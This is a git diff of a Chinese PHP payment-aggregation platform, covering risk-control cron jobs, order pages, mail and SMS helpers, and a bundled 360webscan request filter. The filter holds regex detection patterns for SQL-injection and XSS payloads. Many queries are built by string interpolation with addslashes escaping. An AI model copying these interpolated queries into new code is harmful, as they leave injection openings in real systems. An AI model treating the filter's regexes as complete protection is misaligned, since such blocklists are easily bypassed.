subchannel='$subchannelid' order by trade_no desc limit {$failcount}"); + if(count($orders)<$failcount)continue; + $succount = 0; + foreach($orders as $order){ + if($order['status']>0) $succount++; + } + if($succount == 0){ + $DB->exec("UPDATE pre_subchannel SET status=0 WHERE id='$subchannelid'"); + echo '已关闭子通道:'.$subchannel['name'].'
    '; + if($conf['check_channel_notice'] == 1){ + $mail_name = $conf['mail_recv']?$conf['mail_recv']:$conf['mail_name']; + send_mail($mail_name,$conf['sitename'].' - 支付通道自动关闭提醒','尊敬的管理员:支付通道“'.$channel['name'].'”下的子通道“'.$subchannel['name'].'”因在'.$second.'秒内连续出现'.$failcount.'个未支付订单,已被系统自动关闭!
    ----------
    '.$conf['sitename'].'
    '.date('Y-m-d H:i:s')); + } + } + } + }else{ + $orders=$DB->getAll("SELECT trade_no,status FROM pre_order WHERE addtime>=DATE_SUB(NOW(), INTERVAL {$second} SECOND) AND channel='$channelid' order by trade_no desc limit {$failcount}"); + if(count($orders)<$failcount)continue; + $succount = 0; + foreach($orders as $order){ + if($order['status']>0) $succount++; + } + if($succount == 0){ + $DB->exec("UPDATE pre_channel SET status=0 WHERE id='$channelid'"); + echo '已关闭通道:'.$channel['name'].'
    '; + if($conf['check_channel_notice'] == 1){ + $mail_name = $conf['mail_recv']?$conf['mail_recv']:$conf['mail_name']; + send_mail($mail_name,$conf['sitename'].' - 支付通道自动关闭提醒','尊敬的管理员:支付通道“'.$channel['name'].'”因在'.$second.'秒内连续出现'.$failcount.'个未支付订单,已被系统自动关闭!
    ----------
    '.$conf['sitename'].'
    '.date('Y-m-d H:i:s')); + } + } + } + } + echo '支付通道检查任务已完成
    '; + } + if($conf['auto_check_sucrate'] == 1){ + $second = intval($conf['check_sucrate_second']); + $count = intval($conf['check_sucrate_count']); + $sucrate = floatval($conf['check_sucrate_value']); + if($second==0 || $count==0 || $sucrate==0)exit('未开启商户订单成功率检查功能'); + //统计指定时间内每个商户的总订单数量 + $user_all_stats_rows=$DB->getAll("SELECT uid,count(*) ordernum FROM pre_order WHERE addtime>=DATE_SUB(NOW(), INTERVAL {$second} SECOND) GROUP BY uid"); + //统计指定时间内每个商户的成功订单数量 + $user_suc_stats_rows=$DB->getAll("SELECT uid,count(*) ordernum FROM pre_order WHERE addtime>=DATE_SUB(NOW(), INTERVAL {$second} SECOND) and status>0 GROUP BY uid"); + $user_suc_stats = []; + foreach($user_suc_stats_rows as $row){ + if(!$row['uid']) continue; + $user_suc_stats[$row['uid']] = $row['ordernum']; + } + foreach($user_all_stats_rows as $row){ + if(!$row['uid']) continue; + $total_num = intval($row['ordernum']); + $succ_num = intval($user_suc_stats[$row['uid']]); + $user_rate = round($succ_num * 100 / $total_num, 2); + if($total_num >= $count && $user_rate < $sucrate){ + $userrow = $DB->find('user', 'uid,email,pay', ['uid'=>$row['uid']]); + if($userrow['pay'] == 1){ + $DB->exec("UPDATE pre_user SET pay=0 WHERE uid='{$row['uid']}'"); + echo 'UID:'.$row['uid'].' 订单成功率'.$user_rate.'%('.$succ_num.'/'.$total_num.'),已关闭支付权限
    '; + $DB->exec("INSERT INTO `pre_risk` (`uid`, `type`, `content`, `date`) VALUES (:uid, 1, :content, NOW())", [':uid'=>$row['uid'],':content'=>$user_rate.'%('.$succ_num.'/'.$total_num.')']); + if($conf['check_sucrate_notice'] == 1){ + send_mail($userrow['email'],$conf['sitename'].' - 商户支付权限关闭提醒','尊敬的用户:你的商户ID '.$userrow['uid'].' 因在'.$second.'秒内订单支付成功率低于'.$sucrate.'%,已被系统自动关闭支付权限!如有疑问请联系网站客服。
    当前订单支付成功率:'.$user_rate.'%(总订单数:'.$succ_num.',成功订单数:'.$total_num.')
    ----------
    '.$conf['sitename'].'
    '.date('Y-m-d H:i:s')); + } + } + } + } + echo '商户订单成功率检查任务已完成
    '; + } + if($conf['auto_check_complain'] == 1){ + $complain_rate = floatval($conf['check_complain_rate']); + $complain_stats_rows = $DB->getAll("SELECT uid,count(*) num FROM pre_complain WHERE addtime>=DATE_SUB(NOW(), INTERVAL 7 DAY) AND uid<>0 GROUP BY uid"); + if(!empty($complain_stats_rows)){ + $complain_stats = []; + foreach($complain_stats_rows as $row){ + $complain_stats[$row['uid']] = $row['num']; + } + $uids = []; + foreach($complain_stats_rows as $row){ + $uids[] = $row['uid']; + } + $user_order_stats_rows=$DB->getAll("SELECT uid,count(*) ordernum FROM pre_order WHERE addtime>=DATE_SUB(NOW(), INTERVAL 7 DAY) and status>0 and uid in (".implode(',',$uids).") GROUP BY uid"); + foreach($user_order_stats_rows as $row){ + if(!isset($complain_stats[$row['uid']])) continue; + $total_num = intval($row['ordernum']); + if($total_num == 0) continue; + $complain_num = intval($complain_stats[$row['uid']]); + $user_rate = round($complain_num * 100 / $total_num, 2); + if($complain_num > 0 && $user_rate > $complain_rate){ + $userrow = $DB->find('user', 'uid,email,pay', ['uid'=>$row['uid']]); + if($userrow['pay'] == 1){ + $DB->exec("UPDATE pre_user SET pay=0 WHERE uid='{$row['uid']}'"); + echo 'UID:'.$row['uid'].' 投诉率'.$user_rate.'%('.$complain_num.'/'.$total_num.'),已关闭支付权限
    '; + $DB->exec("INSERT INTO `pre_risk` (`uid`, `type`, `content`, `date`) VALUES (:uid, 3, :content, NOW())", [':uid'=>$row['uid'],':content'=>$user_rate.'%('.$complain_num.'/'.$total_num.')']); + if($conf['check_complain_notice'] == 1){ + send_mail($userrow['email'],$conf['sitename'].' - 商户支付权限关闭提醒','尊敬的用户:你的商户ID '.$userrow['uid'].' 因在7天内订单投诉率高于'.$complain_rate.'%,已被系统自动关闭支付权限!如有疑问请联系网站客服。
    当前订单投诉率:'.$user_rate.'%(7天总订单数:'.$total_num.',投诉订单数:'.$complain_num.')
    ----------
    '.$conf['sitename'].'
    '.date('Y-m-d H:i:s')); + } + } + } + } + } + echo '商户订单投诉率检查任务已完成
    '; + } +} +elseif($_GET['do']=='complain'){ + $channelid = intval($_GET['channel']); + $source = isset($_GET['source'])?intval($_GET['source']):1; + $num = 20; + $channel=\lib\Channel::get($channelid); + if(!$channel)exit('当前支付通道不存在'); + $channel['source'] = $source; + if($channel['plugin'] == 'alipaysl' && substr($channel['appmchid'],0,1)=='['){ + $uid = []; + $subchannels = []; + $orders = $DB->getAll("SELECT DISTINCT uid,subchannel FROM pre_order WHERE channel='$channelid' AND date>='".date("Y-m-d",strtotime("-7 day"))."'"); + foreach($orders as $row){ + if(!in_array($row['uid'], $uid) && $row['subchannel'] == 0)$uid[] = $row['uid']; + if($row['subchannel'] > 0)$subchannels[] = $row['subchannel']; + } + $exist = false; + if(count($uid)>0){ + $users = $DB->getAll("SELECT uid,channelinfo FROM pre_user WHERE uid IN (".implode(',',$uid).")"); + foreach($users as $user){ + if(empty($user['channelinfo'])) continue; + $channel=\lib\Channel::get($channelid, $user['channelinfo']); + $channel['source'] = $source; + $model = \lib\Complain\CommUtil::getModel($channel); + $result = $model->refreshNewList($num); + echo $user['uid'].':'.$result['msg'].'
    '; + } + $exist = true; + } + if(count($subchannels)>0){ + foreach($subchannels as $subchannel){ + $channel=\lib\Channel::getSub($subchannel); + $channel['source'] = $source; + $model = \lib\Complain\CommUtil::getModel($channel); + $result = $model->refreshNewList($num); + echo $user['uid'].':'.$result['msg'].'
    '; + } + $exist = true; + } + if(!$exist)exit('当前支付通道暂无订单'); + exit; + } + $model = \lib\Complain\CommUtil::getModel($channel); + if(!$model)exit('不支持该支付插件'); + $result = $model->refreshNewList($num); + echo $result['msg']; +} +elseif($_GET['do']=='complain_complete'){ + $interval = 5 * 60; //延迟处理时间(秒) + $limit = 10; //每次处理的投诉数量 + $complain = $DB->getAll("SELECT * FROM pre_complain WHERE status=1 AND paytype=2 AND edittimeDATE_SUB(NOW(), INTERVAL 3 DAY) ORDER BY id ASC LIMIT {$limit}"); + foreach($complain as $row){ + $channel = \lib\Channel::get($row['channel']); + if(!$channel)continue; + $channel['thirdmchid'] = $row['thirdmchid']; + $model = \lib\Complain\CommUtil::getModel($channel); + if(!$model)continue; + $result = $model->complete($row['thirdid']); + if($result['code'] == 0){ + $DB->exec("UPDATE pre_complain SET status=1 WHERE id='{$row['id']}'"); + echo '投诉单号:'.$row['thirdid'].' 处理成功
    '; + }else{ + echo '投诉单号:'.$row['thirdid'].' 处理失败,原因:'.$result['msg'].'
    '; + } + } + echo '投诉自动处理('.count($complain).')'; +} +elseif($_GET['do']=='plugin'){ + $channelid = isset($_GET['channel'])?intval($_GET['channel']):0; + $channel = \lib\Channel::get($channelid); + if(!$channel) exit('当前支付通道不存在'); + try{ + \lib\Plugin::loadForAdmin('_cron'); + }catch(Exception $e){ + echo $e->getMessage(); + } +} \ No newline at end of file diff --git a/favicon.ico b/favicon.ico new file mode 100644 index 0000000..05a65cf Binary files /dev/null and b/favicon.ico differ diff --git a/getshop.php b/getshop.php new file mode 100644 index 0000000..6661510 --- /dev/null +++ b/getshop.php @@ -0,0 +1,44 @@ +-1, 'msg'=>'参数不完整'])); + $captcha_result = verify_captcha4(); + if($captcha_result !== true){ + echo json_encode(['code'=>-1, 'msg'=>'验证失败,请重新验证']); + } + $key = time().getDefendKey($pid, $trade_no).rand(111111,999999); + echo json_encode(['code'=>0, 'key'=>$key]); +break; +default: + $trade_no=isset($_GET['trade_no'])?daddslashes($_GET['trade_no']):exit('{"code":-2,"msg":"No trade_no!"}'); + + $row=$DB->getRow("SELECT * FROM pre_order WHERE trade_no='{$trade_no}' limit 1"); + if($row['status']>=1){ + // 支付完成5分钟后禁止跳转回网站 + if(!empty($row['endtime']) && time() - strtotime($row['endtime']) > 300){ + $jumpurl = '/payok.html'; + }else{ + $url=creat_callback($row); + $jumpurl = $url['return']; + } + if($row['status'] == 2){ + $jumpurl = '/payerr.html'; + } + echo json_encode(['code'=>1, 'msg'=>'付款成功', 'backurl'=>$jumpurl]); + }else{ + echo json_encode(['code'=>-1, 'msg'=>'未付款']); + } +break; +} + +?> \ No newline at end of file diff --git a/gold.php b/gold.php new file mode 100644 index 0000000..50ccffe --- /dev/null +++ b/gold.php @@ -0,0 +1,95 @@ +getRow("SELECT * FROM pre_order WHERE trade_no=:trade_no limit 1", [':trade_no'=>$out_trade_no]); + if(!$order)$order = $DB->getRow("SELECT * FROM pre_order WHERE api_trade_no=:trade_no limit 1", [':trade_no'=>$out_trade_no]); + if($order){ + $trade_no = $order['trade_no']; + $jump_url = $siteurl.'pay/return/'.$trade_no.'/'; + }else{ + $errmsg = '订单号不存在
    out_trade_no='.$out_trade_no; + } +}else{ + $errmsg = '订单号不能为空'; +} + +?> + + + + 支付结果页面 + + + + + + + + + +
    +
    +
    +
    错误提示
    +
    +

    +
    +
    +
    + + +
    +
    +
    +
    ¥
    +
    +

    支付成功!请点击按钮返回商家页面

    +
    + +
    +
    + + + + \ No newline at end of file diff --git a/includes/.htaccess b/includes/.htaccess new file mode 100644 index 0000000..3418e55 --- /dev/null +++ b/includes/.htaccess @@ -0,0 +1 @@ +deny from all \ No newline at end of file diff --git a/includes/360safe/360webscan.php b/includes/360safe/360webscan.php new file mode 100644 index 0000000..300882c --- /dev/null +++ b/includes/360safe/360webscan.php @@ -0,0 +1,152 @@ +|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|<.*(iframe|frame|style|embed|object|frameset|meta|xml)"; +//post拦截规则 +$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|<.*(iframe|frame|style|embed|object|frameset|meta|xml)"; +//cookie拦截规则 +$cookiefilter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; +//referer获取 +$webscan_referer = empty($_SERVER['HTTP_REFERER']) ? array() : array('HTTP_REFERER'=>$_SERVER['HTTP_REFERER']); + +/** + * 关闭用户错误提示 + */ +function webscan_error() { + if (ini_get('display_errors')) { + ini_set('display_errors', '0'); + } +} + +/** + * 数据统计回传 + */ +function webscan_slog($logs) { + //日志记录 + return true; +} +/** + * 参数拆分 + */ +function webscan_arr_foreach($arr) { + static $str; + static $keystr; + if (!is_array($arr)) { + return $arr; + } + foreach ($arr as $key => $val ) { + $keystr=$keystr.$key; + if (is_array($val)) { + + webscan_arr_foreach($val); + } else { + + $str[] = $val.$keystr; + } + } + return implode($str); +} + +/** + * 防护提示页 + */ +function webscan_pape(){ + $pape=<< + + +输入内容存在危险字符,安全起见,已被本站拦截 + + + +
    +
    +
    +
    返回上一页
    +
    +
    + + +HTML; + echo $pape; +} + +/** + * 攻击检查拦截 + */ +function webscan_StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq,$method) { + $StrFiltValue=webscan_arr_foreach($StrFiltValue); + if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){ + webscan_slog(array('ip' => $_SERVER["REMOTE_ADDR"],'time'=>strftime("%Y-%m-%d %H:%M:%S"),'page'=>$_SERVER["PHP_SELF"],'method'=>$method,'rkey'=>$StrFiltKey,'rdata'=>$StrFiltValue,'user_agent'=>$_SERVER['HTTP_USER_AGENT'],'request_url'=>$_SERVER["REQUEST_URI"])); + exit(webscan_pape()); + } + if (preg_match("/".$ArrFiltReq."/is",$StrFiltKey)==1){ + webscan_slog(array('ip' => $_SERVER["REMOTE_ADDR"],'time'=>strftime("%Y-%m-%d %H:%M:%S"),'page'=>$_SERVER["PHP_SELF"],'method'=>$method,'rkey'=>$StrFiltKey,'rdata'=>$StrFiltKey,'user_agent'=>$_SERVER['HTTP_USER_AGENT'],'request_url'=>$_SERVER["REQUEST_URI"])); + exit(webscan_pape()); + } + +} +/** + * 拦截目录白名单 + */ +function webscan_white($webscan_white_name,$webscan_white_url=array()) { + $url_path=$_SERVER['SCRIPT_NAME']; + $url_var=$_SERVER['QUERY_STRING']; + if (preg_match("/".$webscan_white_name."/is",$url_path)==1&&!empty($webscan_white_name)) { + return false; + } + foreach ($webscan_white_url as $key => $value) { + if(!empty($url_var)&&!empty($value)){ + if (stristr($url_path,$key)&&stristr($url_var,$value)) { + return false; + } + } + elseif (empty($url_var)&&empty($value)) { + if (stristr($url_path,$key)) { + return false; + } + } + + } + + return true; +} + +if ($webscan_switch&&webscan_white($webscan_white_directory,$webscan_white_url)) { + if ($webscan_get) { + foreach($_GET as $key=>$value) { + webscan_StopAttack($key,$value,$getfilter,"GET"); + } + } + if ($webscan_post) { + foreach($_POST as $key=>$value) { + webscan_StopAttack($key,$value,$postfilter,"POST"); + } + } + if ($webscan_cookie) { + foreach($_COOKIE as $key=>$value) { + webscan_StopAttack($key,$value,$cookiefilter,"COOKIE"); + } + } + if ($webscan_referre) { + foreach($webscan_referer as $key=>$value) { + webscan_StopAttack($key,$value,$postfilter,"REFERRER"); + } + } +} + +?> diff --git a/includes/360safe/webscan_cache.php b/includes/360safe/webscan_cache.php new file mode 100644 index 0000000..6fc2260 --- /dev/null +++ b/includes/360safe/webscan_cache.php @@ -0,0 +1,14 @@ + 'mod=admin-set'); +?> \ No newline at end of file diff --git a/includes/ValidateCode.class.php b/includes/ValidateCode.class.php new file mode 100644 index 0000000..025fdfa --- /dev/null +++ b/includes/ValidateCode.class.php @@ -0,0 +1,75 @@ +font = ROOT_PATH.'/../assets/font/elephant.ttf'; + } + + //生成随机码 + private function createCode() { + $_len = strlen($this->charset)-1; + for ($i=0;$i<$this->codelen;$i++) { + $this->code .= $this->charset[mt_rand(0,$_len)]; + } + } + + //生成背景 + private function createBg() { + $this->img = imagecreatetruecolor($this->width, $this->height); + $color = imagecolorallocate($this->img, mt_rand(157,255), mt_rand(157,255), mt_rand(157,255)); + imagefilledrectangle($this->img,0,$this->height,$this->width,0,$color); + } + + //生成文字 + private function createFont() { + $_x = $this->width / $this->codelen; + for ($i=0;$i<$this->codelen;$i++) { + $this->fontcolor = imagecolorallocate($this->img,mt_rand(0,156),mt_rand(0,156),mt_rand(0,156)); + imagettftext($this->img,$this->fontsize,mt_rand(-30,30),$_x*$i+mt_rand(1,5),$this->height / 1.4,$this->fontcolor,$this->font,$this->code[$i]); + } + } + + //生成线条、雪花 + private function createLine() { + for ($i=0;$i<6;$i++) { + $color = imagecolorallocate($this->img,mt_rand(0,156),mt_rand(0,156),mt_rand(0,156)); + imageline($this->img,mt_rand(0,$this->width),mt_rand(0,$this->height),mt_rand(0,$this->width),mt_rand(0,$this->height),$color); + } + for ($i=0;$i<100;$i++) { + $color = imagecolorallocate($this->img,mt_rand(200,255),mt_rand(200,255),mt_rand(200,255)); + imagestring($this->img,mt_rand(1,5),mt_rand(0,$this->width),mt_rand(0,$this->height),'*',$color); + } + } + + //输出 + private function outPut() { + header('Content-type:image/png'); + imagepng($this->img); + imagedestroy($this->img); + } + + //对外生成 + public function doimg() { + $this->createBg(); + $this->createCode(); + $this->createLine(); + $this->createFont(); + $this->outPut(); + } + + //获取验证码 + public function getCode() { + return strtolower($this->code); + } +} \ No newline at end of file diff --git a/includes/authcode.php b/includes/authcode.php new file mode 100644 index 0000000..6e841a5 --- /dev/null +++ b/includes/authcode.php @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/includes/autoloader.php b/includes/autoloader.php new file mode 100644 index 0000000..8f164cf --- /dev/null +++ b/includes/autoloader.php @@ -0,0 +1,33 @@ +点此安装'; +exit(); +} + +$DB = new \lib\PdoHelper($dbconfig); + +if($DB->query("select * from pre_config where 1")==FALSE)//检测安装2 +{ +header('Content-type:text/html;charset=utf-8'); +echo '你还没安装!点此安装'; +exit(); +} + + +$CACHE=new \lib\Cache(); +$conf=$CACHE->pre_fetch(); +define('SYS_KEY', $conf['syskey']); +if(!$conf['localurl'])$conf['localurl'] = $siteurl; +$password_hash='!@#%!s!0'; + +if ($conf['version'] < DB_VERSION) { + if (!$install) { + header('Content-type:text/html;charset=utf-8'); + echo '请先完成网站升级!点此升级'; + exit; + } +} + +include_once(SYSTEM_ROOT."functions.php"); +include_once(SYSTEM_ROOT."member.php"); + +require_once SYSTEM_ROOT."vendor/autoload.php"; + +if (!file_exists(ROOT.'install/install.lock') && file_exists(ROOT.'install/index.php')) { + sysmsg('

    检测到无 install.lock 文件

    • 如果您尚未安装本程序,请前往安装
    • 如果您已经安装本程序,请手动放置一个空的 install.lock 文件到 /install 文件夹下,为了您站点安全,在您完成它之前我们不会工作。

    为什么必须建立 install.lock 文件?

    它是安装保护文件,如果检测不到它,就会认为站点还没安装,此时任何人都可以安装/重装你的网站。

    ');exit; +} + +if($conf['cdnpublic']==1){ + $cdnpublic = '//lib.baomitu.com/'; +}elseif($conf['cdnpublic']==2){ + $cdnpublic = 'https://s4.zstatic.net/ajax/libs/'; +}elseif($conf['cdnpublic']==4){ + $cdnpublic = '//lf26-cdn-tos.bytecdntp.com/cdn/expire-1-M/'; +}else{ + $cdnpublic = '//mirrors.sustech.edu.cn/cdnjs/ajax/libs/'; +} + +if(empty($conf['public_key'])){ + $key_pair = generate_key_pair(); + if($key_pair){ + $conf['public_key'] = $key_pair['public_key']; + $conf['private_key'] = $key_pair['private_key']; + saveSetting('public_key', $conf['public_key']); + saveSetting('private_key', $conf['private_key']); + $CACHE->clear(); + unset($key_pair); + } +} +?> \ No newline at end of file diff --git a/includes/composer.json b/includes/composer.json new file mode 100644 index 0000000..2b9125c --- /dev/null +++ b/includes/composer.json @@ -0,0 +1,8 @@ +{ + "require": { + "cccyun/alipay-sdk": "^1.1", + "cccyun/wechatpay-sdk": "^1.0", + "cccyun/qqpay-sdk": "^1.0", + "lpilp/guomi": "^1.0" + } +} diff --git a/includes/functions.php b/includes/functions.php new file mode 100644 index 0000000..ae7c83b --- /dev/null +++ b/includes/functions.php @@ -0,0 +1,1327 @@ +send($to, $sub, $msg, $conf['mail_name2'], $conf['sitename']); + }elseif($conf['mail_cloud']==2){ + $mail = new \lib\mail\Aliyun($conf['mail_apiuser'], $conf['mail_apikey']); + return $mail->send($to, $sub, $msg, $conf['mail_name2'], $conf['sitename']); + }else{ + if(!$conf['mail_name'] || !$conf['mail_port'] || !$conf['mail_smtp'] || !$conf['mail_pwd'])return false; + $port = intval($conf['mail_port']); + $mail = new \lib\mail\PHPMailer\PHPMailer(true); + try{ + $mail->SMTPDebug = 0; + $mail->CharSet = 'UTF-8'; + $mail->Timeout = 5; + $mail->isSMTP(); + $mail->Host = $conf['mail_smtp']; + $mail->SMTPAuth = true; + $mail->Username = $conf['mail_name']; + $mail->Password = $conf['mail_pwd']; + if($port == 587) $mail->SMTPSecure = 'tls'; + else if($port >= 465) $mail->SMTPSecure = 'ssl'; + else $mail->SMTPAutoTLS = false; + $mail->Port = intval($conf['mail_port']); + $mail->setFrom($conf['mail_name'], $conf['sitename']); + $mail->addAddress($to); + $mail->addReplyTo($conf['mail_name'], $conf['sitename']); + $mail->isHTML(true); + $mail->Subject = $sub; + $mail->Body = $msg; + $mail->send(); + return true; + } catch (Exception $e) { + return $mail->ErrorInfo; + } + } +} +function send_sms($phone, $code, $scene='reg'){ + global $conf; + if($scene == 'reg'){ + $tpl_code = $conf['sms_tpl_reg']; + }elseif($scene == 'login'){ + $tpl_code = $conf['sms_tpl_login']; + }elseif($scene == 'find'){ + $tpl_code = $conf['sms_tpl_find']; + }elseif($scene == 'edit'){ + $tpl_code = $conf['sms_tpl_edit']; + } + return send_sms_common($phone, $tpl_code, ['code'=>$code]); +} +function send_sms_common($phone, $tpl_code, $tpl_param){ + global $conf; + if($conf['sms_api']==1){ + $sms = new \lib\sms\Qcloud($conf['sms_appid'], $conf['sms_appkey']); + $arr = $sms->send($phone, $tpl_code, array_values($tpl_param), $conf['sms_sign']); + if(isset($arr['result']) && $arr['result']==0){ + return true; + }else{ + return $arr['errmsg']; + } + }elseif($conf['sms_api']==2){ + $sms = new \lib\sms\Aliyun($conf['sms_appid'], $conf['sms_appkey']); + $arr = $sms->send($phone, $tpl_param, $tpl_code, $conf['sms_sign'], $conf['sitename']); + if(isset($arr['Code']) && $arr['Code']=='OK'){ + return true; + }else{ + return $arr['Message']; + } + }elseif($conf['sms_api']==3){ + $url = 'https://api.topthink.com/sms/send'; + $param = ['appCode'=>$conf['sms_appkey'], 'signId'=>$conf['sms_sign'], 'templateId'=>$tpl_code, 'phone'=>$phone, 'params'=>json_encode($tpl_param)]; + $data=get_curl($url, http_build_query($param)); + $arr=json_decode($data,true); + if(isset($arr['code']) && $arr['code']==0){ + return true; + }else{ + return $arr['message']; + } + }elseif($conf['sms_api']==4){ + $sms = new \lib\sms\SmsBao($conf['sms_appid'], $conf['sms_appkey']); + return $sms->send($phone, $tpl_param, $tpl_code, $conf['sms_sign']); + }else{ + $url = 'http://sms.php.gs/sms/send/yzm'; + $param = ['appkey'=>$conf['sms_appkey'], 'phone'=>$phone, 'moban'=>$tpl_code]; + $param = array_merge($param, $tpl_param); + $data=get_curl($url, http_build_query($param)); + $arr=json_decode($data,true); + if($arr['status']=='200'){ + return true; + }else{ + return $arr['error_msg_zh']; + } + } +} +function daddslashes($string) { + if(is_array($string)) { + foreach($string as $key => $val) { + $string[$key] = daddslashes($val); + } + } else { + $string = addslashes($string); + } + return $string; +} + +function strexists($string, $find) { + return !(strpos($string, $find) === FALSE); +} + +function dstrpos($string, $arr) { + if(empty($string)) return false; + foreach((array)$arr as $v) { + if(strpos($string, $v) !== false) { + return true; + } + } + return false; +} + +function checkmobile() { + $useragent = strtolower($_SERVER['HTTP_USER_AGENT']); + $ualist = array('android', 'midp', 'nokia', 'mobile', 'iphone', 'ipod', 'blackberry', 'windows phone'); + if((dstrpos($useragent, $ualist) || strexists($_SERVER['HTTP_ACCEPT'], "VND.WAP") || strexists($_SERVER['HTTP_VIA'],"wap"))) + return true; + else + return false; +} +function checkwechat(){ + if(strpos($_SERVER['HTTP_USER_AGENT'], 'MicroMessenger/') !== false && strpos($_SERVER['HTTP_USER_AGENT'], 'WindowsWechat') === false) + return true; + else + return false; +} +function checkalipay(){ + if(strpos($_SERVER['HTTP_USER_AGENT'], 'AlipayClient/') !== false) + return true; + else + return false; +} +function checkmobbileqq(){ + if(strpos($_SERVER['HTTP_USER_AGENT'], 'QQ/') !== false) + return true; + else + return false; +} +function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { + $ckey_length = 4; + $key = md5($key); + $keya = md5(substr($key, 0, 16)); + $keyb = md5(substr($key, 16, 16)); + $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; + $cryptkey = $keya.md5($keya.$keyc); + $key_length = strlen($cryptkey); + $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; + $string_length = strlen($string); + $result = ''; + $box = range(0, 255); + $rndkey = array(); + for($i = 0; $i <= 255; $i++) { + $rndkey[$i] = ord($cryptkey[$i % $key_length]); + } + for($j = $i = 0; $i < 256; $i++) { + $j = ($j + $box[$i] + $rndkey[$i]) % 256; + $tmp = $box[$i]; + $box[$i] = $box[$j]; + $box[$j] = $tmp; + } + for($a = $j = $i = 0; $i < $string_length; $i++) { + $a = ($a + 1) % 256; + $j = ($j + $box[$a]) % 256; + $tmp = $box[$a]; + $box[$a] = $box[$j]; + $box[$j] = $tmp; + $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); + } + if($operation == 'DECODE') { + if(((int)substr($result, 0, 10) == 0 || (int)substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { + return substr($result, 26); + } else { + return ''; + } + } else { + return $keyc.str_replace('=', '', base64_encode($result)); + } +} + +function random($length, $numeric = 0) { + $seed = base_convert(md5(microtime().$_SERVER['DOCUMENT_ROOT']), 16, $numeric ? 10 : 35); + $seed = $numeric ? (str_replace('0', '', $seed).'012340567890') : ($seed.'zZ'.strtoupper($seed)); + $hash = ''; + $max = strlen($seed) - 1; + for($i = 0; $i < $length; $i++) { + $hash .= $seed[mt_rand(0, $max)]; + } + return $hash; +} +function showmsg($content = '未知的异常',$type = 4,$back = false) +{ +switch($type) +{ +case 1: + $panel="success"; +break; +case 2: + $panel="info"; +break; +case 3: + $panel="warning"; +break; +case 4: + $panel="danger"; +break; +} + +echo '
    +
    +

    提示信息

    +
    +
    '; +echo $content; + +if ($back) { + echo '
